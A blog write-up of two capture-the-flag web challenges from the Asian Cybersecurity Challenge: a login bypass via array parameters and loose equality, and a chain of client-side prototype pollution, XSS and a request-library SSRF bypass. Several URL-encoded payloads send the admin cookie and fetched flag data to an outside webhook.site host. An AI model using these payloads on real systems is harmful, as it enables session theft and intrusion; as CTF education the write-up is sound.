Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Asian Cybersecurity Challenge (ACSC) - Write-up

Introduction


This year, I joined ACSC again. It was tough, and I spent a lot of time on one problem, but I think I did a bit better than last year. Last year, I didn't solve any challenges because I was very new to CTFs in general. This year, I learned a bit more and it has been a good way to see that I'm slowly getting better 🔥

Web


Login


This is a simple login web challenge. We were also given a source which is very simple and straightforward.

Image in a image block
const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

Looking at the source code, the users are stored in an object called USER_DB .

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

The problem with this authentication is that it is using == sign to do a comparison.

    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }

Also, you will only get the flag if your user ≠ guest , which makes it a lot easier!

Solution

You can just pass in something like this, and it will work just fine.

username[]=guest&password=guest

A short explanation on how it works.

// Default way : 

username = guest&password=guest
username = "guest"

// but if we set it to an array like this, it becomes an array!

username[]=guest&password=guest
username = ["guest"]

// hence, now we have successfully fooled the system, it really is something 
// different than "guest"

Buggy-bounty


We were given a bounty report web app and also a source code.

Image in a image block

In this challenge, we were supposed to get the authSecret from admin, do SSRF on an internal endpoint and retrieve the flag.

Looking at routes.js, this endpoint below is the one that will process our report after submitting it.

router.post("/report_bug", async (req, res) => {
  try {
   // sets the id, url, and report
    const id = req.body.id;
    const url = req.body.url;
    const report = req.body.report;
    
    // send to bot
    await visit(
      `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
      authSecret
    );
  } catch (e) {
    console.log(e);
    return res.render("index.html", { err: "Server Error" });
  }
  const reward = Math.floor(Math.random() * (100 - 10 + 1)) + 10;
  return res.render("index.html", {
    message: "Rewarded " + reward + "$",
  });
});

This seems like a good candidate for SSRF as it’s using "request": "^2.88.0" which is vulnerable to SSRF, but it requires isAdmin to be true.

router.get("/check_valid_url", async (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

I am pretty sure the first step is XSS, because to get further, we need to steal admin access (authSecret) and use the SSRF endpoint.

const authSecret = require("crypto").randomBytes(70).toString("hex");

const isAdmin = (req, res) => {
  return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret;
};

module.exports = {
  authSecret,
  isAdmin,
};
//bot.js
// authsecret being set in cookie
await page.setCookie({
      name: "auth",
      value: authSecret,
      domain: "127.0.0.1",
    });

Now, we need to find a way to pop XSS in triage.html but it seems like there no easy way at first, because by default, our input is being escaped by templating of express.

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Buggy Bounty</title>
    <meta charset="UTF-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1, maximum-scale=1"
    />
    <link rel="stylesheet" href="/public/css/style.css" />
  </head>
  <body>
    <div id="head">Buggy Triage</div>
    <div id="bar">
      <div id="red"></div>
      <div id="yellow"></div>
      <div id="green"></div>
    </div>
    <div id="screen">
      <p class="font" id="product">Report ID:~$ {{id}}</p>
      <p class="font" id="product">Report URL:~$ {{url}}</p>
      <p class="font">Report:~$ {{report}}</p>
    </div>

    <script
      src="/public/js/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js"
      async
    ></script>
    <script src="/public/js/jquery.min.js"></script>
    <script src="/public/js/arg-1.4.js"></script>
    <script src="/public/js/widget.js"></script>
  </body>
</html>

But notice that we have some extra JS inside the file? I’ve checked each three of them and the most interesting ones are arg.js and Adobe Dynamic Tag Management (launch-ENa…js).

After further enumeration, I found that arg.js is vulnerable to Client-side Prototype Pollution!

And you could also pop XSS if you can somehow pollute the Adobe Dynamic Tag Management prototype.src!

Image in a image block

We could chain this together and pop XSS on the page!

Solution

Let’s first test a very simple Prototype Pollution on our local instance.

http://localhost/triage?id=c&url=c&report=d&__proto__[test]=test
Image in a image block
Successfully polluted!

Now let’s chain it with the Adobe JS we have just now..

http://localhost/triage?id=c&url=c&report=d&__proto__[src]=data:,alert(1)//'
Image in a image block
and it works!

Next thing to do is to craft a payload to steal the authSecret from the bot, pass it into the report section. It should should look like this:

// id and url can be anythin. Put this below in report section
d&__proto__[src]=data:,location%3D%27https%3A%2F%2Fwebhook.site%2Fff081b6b-6e3b-47ec-86c2-d0455bd1a255%2F%3Fc%3D%27%20%2B%20document.cookie//

and we got our authSecret

b03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89

Next thing to do, is to abuse the SSRF vulnerability in /check_valid_url endpoint and fetch :5000/bounty

  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }

But there’s also a custom agent with ssrfFilter in place, which may filter our connection to internal endpoints such as 127.0.0.1 or localhost.

Though, this can be easily bypassed with a CVE in the request library

Based on this Github Issue/CVE, the request will remove the agent if the protocol is changed.

For example : http > https or https > http, vice versa.

// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}

Also, as you can see, the code above is also blocked by isAdmin and it requires you have a remote IP of 127.0.0.1, but fret not, we can just use the bot to pop XSS and do our biddings!

I decided to use Google’s open redirection here to solve the challenge.

fetch('/check_valid_url?url=https://google.com/amp/localhost:5000/bounty', {
    credentials: 'include',
    headers: {
        'Cookie': 'auth=b03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89'
    }
})
.then(response => response.text())
.then(data => {
    const encodedData = btoa(data);
    const url = 'https://webhookhere/?flag=' + encodedData;
    window.location.href = url;
});
d&__proto__[src]=data:,fetch%28%27%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fgoogle.com%2Famp%2Flocalhost%3A5000%2Fbounty%27%2C%7Bcredentials%3A%27include%27%2Cheaders%3A%7B%27Cookie%27%3A%27auth%3Db03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89%27%7D%7D%29.then%28response%20%3D%3E%20response.text%28%29%29.then%28data%20%3D%3E%20window.location.href%20%3D%20%27https%3A%2F%2Fwebhook.site%2Ff357e0cf-3beb-42de-bbb1-d46fdb545ed2%2F%3Fflag%3D%27%20%2B%20btoa%28data%29%29%3B

But it didn’t work?!

I am getting {"err":"Server error"} as a response from the server. I wonder why, because fetching localhost:80(the buggy bounty server) works perfectly, and I was able to fetch the whole content of it.

Image in a image block

Turns out, at the end of the competition, only then I know, you actually have to pass in something like below as the endpoint, because of docker-compose hostname resolution.

// this will work
http://reward:5000/bounty

//this will not
http://localhost:5000/bounty

Fixing the payload a little bit.

fetch('/check_valid_url?url=https://google.com/amp/reward:5000/bounty', {
    credentials: 'include',
    headers: {
        'Cookie': 'auth=b03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89'
    }
})
.then(response => response.text())
.then(data => {
    const encodedData = btoa(data);
    const url = 'https://webhookhere/?flag=' + encodedData;
    window.location.href = url;
});
d&__proto__[src]=data:,fetch('/check_valid_url%3furl%3dhttps%3a//google.com/amp/reward%3a5000/bounty',{credentials%3a'include',headers%3a{'Cookie'%3a'auth%3db03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89'}}).then(response+%3d>+response.text()).then(data+%3d>+window.location.href+%3d+'https%3a//webhook.site/f357e0cf-3beb-42de-bbb1-d46fdb545ed2/%3fflag%3d'+%2b+btoa(data))%3b

And…. we got the flag!

Image in a image block
Image in a image block
ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}

End Note


Even though I was kind of sad of not being able to solve it in time and focused too much on it, I’ve learned something new. I was kind of satisfied that I was at least able to solve a challenge this year and almost solved another one. It was kind unfortunate, but anyway I’ll try harder next year!

💪💪 🔥🔥